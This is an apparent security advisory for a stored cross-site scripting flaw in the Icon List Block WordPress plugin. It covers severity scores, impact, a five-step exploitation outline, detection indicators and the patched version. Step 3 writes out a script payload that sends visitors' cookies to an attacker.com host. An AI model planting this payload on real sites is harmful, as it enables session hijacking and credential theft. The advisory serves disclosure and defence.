CVE-2026-32359: 
WordPress vulnerability analysis and mitigation

CVE-2026-32359 is a Stored Cross-Site Scripting (XSS) vulnerability in the bPlugins Icon List Block WordPress plugin (slug: icon-list-block). It affects all versions up to and including 1.2.3, and was discovered and reported by security researcher johska on January 16, 2026, with public disclosure on February 15, 2026. The vulnerability carries a CVSS v3.1 base score of 6.5 (Medium) (Patchstack).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically of the stored (persistent) variant. An authenticated attacker with at least Contributor-level privileges can inject malicious scripts into the plugin's block content, which are then stored in the database and rendered to site visitors without proper sanitization or output escaping. Exploitation requires a privileged user interaction on the victim's side (e.g., a site visitor loading the affected page) to trigger the stored payload (Patchstack).

Successful exploitation allows an attacker to inject and persistently store malicious JavaScript or HTML payloads within the WordPress site, which execute in the browsers of any visitor loading the affected page. This can lead to session hijacking, credential theft, unauthorized redirects, defacement, or delivery of malware to site visitors. The scope is changed (affecting users beyond the attacker's own session), with low confidentiality, integrity, and availability impacts per the CVSS assessment (Patchstack).

No public proof-of-concept exploit code or active in-the-wild exploitation has been reported for this vulnerability. The EPSS score is approximately 0.029% (0.000290), indicating a very low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires at minimum Contributor-level WordPress credentials, limiting the attacker pool, though Patchstack notes that vulnerabilities of this class are sometimes used in mass-exploit campaigns targeting WordPress sites (Patchstack).

1. Gain Contributor Access: Obtain or register a WordPress account with at least Contributor-level privileges on the target site running Icon List Block <= 1.2.3.
2. Create or Edit a Post: Navigate to the WordPress block editor and create or edit a post/page that includes the Icon List Block.
3. Inject Malicious Payload: In the Icon List Block's configurable fields (e.g., icon label or link attributes), insert a crafted XSS payload such as <script>document.location='https://attacker.com/steal?c='+document.cookie</script> or an event-handler-based payload.
4. Publish the Content: Submit or publish the post, causing the unsanitized payload to be stored in the WordPress database.
5. Trigger Execution: When any site visitor (including administrators) loads the affected page, the stored script executes in their browser, enabling session hijacking, credential theft, or further malicious actions (Patchstack).

• Database: WordPress wp_posts or wp_postmeta tables containing unexpected <script> tags, javascript: URIs, or encoded payloads within Icon List Block content.
• Logs: Web server access logs showing requests to pages containing the Icon List Block from unusual IPs or user agents, particularly if followed by outbound requests to unknown domains.
• Network: Outbound connections from visitor browsers to attacker-controlled domains shortly after loading pages with the Icon List Block (detectable via browser security tooling or CSP violation reports).
• File System: No direct file system artifacts expected for stored XSS; however, check for newly created or modified PHP files in the plugin directory (/wp-content/plugins/icon-list-block/) that may indicate secondary compromise.

The vendor bPlugins has released version 1.2.4 of the Icon List Block plugin, which patches this vulnerability. Site administrators should update the plugin to version 1.2.4 or later immediately via the WordPress admin dashboard or by downloading from the WordPress plugin repository. If an immediate update is not possible, consider temporarily deactivating the plugin or restricting Contributor-level user registration. Patchstack users can enable auto-update for vulnerable plugins as an additional safeguard (Patchstack).